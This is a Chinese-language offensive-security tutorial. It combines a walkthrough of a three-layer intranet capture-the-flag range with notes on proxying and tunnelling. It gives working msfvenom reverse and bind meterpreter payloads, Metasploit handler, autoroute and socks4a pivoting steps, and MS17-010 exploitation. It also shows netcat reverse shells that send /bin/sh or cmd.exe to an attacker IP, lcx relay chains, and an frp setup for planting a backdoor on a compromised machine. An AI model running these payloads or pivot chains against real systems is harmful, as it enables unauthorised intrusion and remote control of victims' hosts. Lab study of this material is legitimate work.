[common]
server_addr = [你的云主机ip]
server_port = 6677         #frpc工作端口,必须和frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555            #转发给本机的5555
remote_port = 6000        #服务端用6000端口转发给本机
启动客户端:
    ./frpc -c ./frpc.ini
生成后门并上传至肉鸡
    msfvenom -p windows/meterpreter/reverse_tcp lhost=[服务器IP地址] lport=6000 -f exe -o frp.exe
监听后门
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 127.0.0.1
    set LPORT 5555
    exploit

(3)、靶机运行frp即可

代理|一道ctf夺旗

三层漫游环境:

CFS三层内网漫游安全测试演练-某CTF线下2019
来源:2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结束。
Target1:
流程:探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag1-进入Target2
0、端口扫描,发现目标主机。发现ThinkPHPv5框架,使用对应的exp写入后门
1、生成反向后门:

1
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

2、接受反弹:

1
2
3
4
5
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set LHOST 192.168.76.132
    set LPORT 1111
    exploit

此时,获得了第一台靶机的主机权限(相当于从webshell权限提升至主机权限),然后开始内网渗透,获取第二台靶机的flag。
在开始Target2之前,得要配置代理(即开启靶机1的内网网卡,作为代理,帮助我们渗透)
3、配置路由|配置代理|扫描靶机2
探索内网并添加路由,从而发现和联系上内网
(1)、配置路由
获取网络接口(获取网卡信息,实战中没有拓扑图,不知道网络情况):

1
2
#ifconfig是否也可以
run get_local_subnets

查看路由地址:

1
run autoroute -p

添加路由地址:

1
run autoroute -s 192.168.22.0/24

此时,靶机1和靶机2可以通信了。但是只受限于那个msf的会话,即添加后可以看到路由地址了,添加后可以使用MSFping通22网段了(只基于MSF会话可以通信)

(2)、配置代理|打通内网
现在的会话是session1,是建立在Target1的shell上的,建立路由后可以和22网段进行通信。那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办呢?
(为了解决这种情况,我们可以在本地(msf上有模块可以开代理)开一个代理,通过这个代理给其他人一个端口去连接,然后我们就可以用自己的本机(自己的电脑,不是攻击机kali)去连接kali的端口,这样就能访问192.168.22.129)
可以使用sock4+proxychains4代理打通内网

1
2
3
4
background   保存拿到的shell会话,隐藏到后台
use auxiliary/server/socks4a
set srvport 2222
exploit

(3)、利用本地代理接口访问测试
自己再准备一台攻击机(或者在本机另开一个shell)
linux:
配置proxychains(kali自带)后调用工具探针Target2

1
2
3
4
5
vim /etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
-Pn:不使用ping扫描,不执行主机发现,默认目标主机是存活的,可以绕开防火墙。
-sT:使用TCP连接,与目标三次握手,来确定端口是否开放

然后具体扫靶机2就可以(一般扫80足矣)。
浏览器:
为了顺利访问到Target2的网页,需要设置浏览器代理进行访问(比如:浏览器->设置->网络->sock4->写上刚刚配置的代理)
其他工具也需要设置代理
windows:
利用代理工具Proxifier或SocksCap64,配置好后,将要使用的工具加入里面就可以了
Target2
现在我通过攻击机成功访问到了靶机2的网页,接下来就实施攻击。
过程:探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-进入Target3
0、漏洞利用,注入:

1
2
3
http://192.168.22.128/index.php?r=vul&keyword=1         #sql注入
http://192.168.22.128/index.php?r=admini/public/login    #后台
http://192.168.22.128/index.php?r=special                #后门shell写入

通过robots.txt找到后台登陆地址,通过后台功能拿webshell,同时flag2到手。
此时是webshell权限,还是要提一下权
此时,要用蚁剑连接,刚好上面有代理设置,设置一下就可以连接;或者使用全局代理工具Proxifier;或者使用代理进程工具SocksCap64(直接将工具拖进去就可以正常在内网工作)。
接下来是重点:由于靶机2只有22|33网段的网卡,但是攻击机在76网段,所以反向连接不了;而我的kali之前配置过22网段的路由,所以kali可以找到靶机2,因此要正向连接
1、生成正向后门:

1
2
   msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
#绑定本地的3333端口

2、访问接受|反弹shell:

1
2
3
4
5
6
    use exploit/multi/handler
    set payload linux/x64/meterpreter/bind_tcp
    set rhost 192.168.22.128
    set LPORT 3333
    exploit
#找到靶机2的ip

3、信息收集及配置访问
还是一样,再开通33网段的路由。

1
2
3
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

4、转入target3
Target3:
探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag3-拿下
扫描33网段

1
proxychains4 nmap -Pn -sT 192.168.33.0/24

主机漏洞扫描

1
proxychains4 nmap -script=vuln 192.168.33.33 -oN nmapscan/vuln

发现这是开放着445、3389端口的Windows系统 ,尝试使用永恒之蓝试试

1
2
3
4
5
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run

成功反弹

1
2
3
shell
net user
或getuid

找|读取flag

1
2
3
4
5
6
cd /
dir /S *flag* /B #找flag
type C:\Windows\System32\config\flag.txt #读取flag
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
# dir /S /B *flag* 这样写也可以

取材:https://blog.csdn.net/weixin_60329395/article/details/126001763
后面msf和cs配合使用也很重要

穿透|隧道

作用:解决一些安全设备、防火墙的拦截的问题(回传数据)

隧道|必备知识点

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
必备知识点:
1.代理和隧道技术区别?
代理可以解决访问问题,从一个局域网访问另一个局域网
隧道会重新封装数据包,将需要发送的数据包打包进新的数据包内,然后发送这个新数据包,在网络终点将数据解包并转发到最终目的地。
注意隧道技术指的是包括数据封装、传输和解包在内的全过程。
隧道提供保密性和安全性,可以绕过边界设备和防火墙等检测设备。隧道技术的代表有VPN
2.隧道技术为了解决什么?
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截
CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题(所以说感觉隧道就是高级一点的代理)等
3.隧道技术前期的必备条件?
已经获得了部分的控制权,但不能进行信息收集

隧道|具体分析

1、常用的隧道技术有以下三种:
网络层:IPv6隧道、ICMP隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP/S隧道、DNS隧道
2、网络传输应用层检测连通性-检测
在使用隧道协议前,需要确定网络是否正常通讯
即:看看哪个协议可以和外部正常通讯,然后我就要开启对应的隧道
1)、TCP协议

1
2
#用“瑞士军刀”netcat,执行nc命令:
    nc <IP> <端口>

2)、HTTP协议

1
2
3
#用curl工具,执行:
    curl <IP地址:端口>
#如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

3)、ICMP协议

1
2
#用ping命令,执行:
    ping <IP地址/域名>

4)、DNS协议
检测DNS连通性常用的命令是nslookup和dig
nslookup是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
3、开启某一种隧道所需工具
网络层、icmp隧道:https://github.com/esrrhs/pingtunnel
通过工具,中间机当作一个隧道,然后攻击机通过隧道主动连接受害主机
攻击机|中间机要有这个软件
传输层、TCP隧道、UDP隧道、端口转发:
这里将端口转发技术,需要:
win:lcx;linux:portmap
通过工具,受害主机把流量转发给中间机,中间机再转发到自己的另一个端口,然后攻击机rdesttop连接这个端口即可
中间机|受害主机要有这个软件

隧道|传输层转发隧道nc使用

要确定为是否为最新版本,老版本不支持-e写法
Linux自带nc
受害主机能找到攻击机就用反向,不能则用正向
1.双向连接反弹shell
正向:攻击连接受害

1
2
3
4
5
6
7
#受害:
    nc -ldp 1234 -e /bin/sh                         //linux
    nc -ldp 1234 -e c:\windows\system32\cmd.exe    //windows
#将命令行界面(shell/cmd)转发到1234端口,等待别人连接
#攻击:
    nc 192.168.76.132 1234
#正向主动连接

反向:受害连接攻击

1
2
3
4
5
6
7
攻击:
    nc -lvp 1234
监听自己的1234端口
受害:
    nc [攻击机IP1234 -e /bin/sh
    nc [攻击机IP1234 -e c:\windows\system32\cmd.exe
将自己的命令行界面(shell/cmd)转发到攻击机IP1234

2.多向连接反弹shell-配合lcx转发
反向:

1
2
3
4
5
6
7
god\Webserver:
    Lcx.exe -listen 2222 3333 //利用lcx监听自己的2222端口并转发到自己的3333端口
god\Sqlserver:
    nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe//将自己的cmd转发给websersever(3.31)的2222端口
kali
    nc -v 192.168.76.143 3333//监听webserver的3333端口
#SQL服务器将自己的cmd映射到网络服务器的2222端口,网络服务器再将2222映射到自己的3333端口,最后由攻击机访问3333端口,实现攻击

3.相关netcat主要功能测试

1
2
3
4
5
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹Shell:见上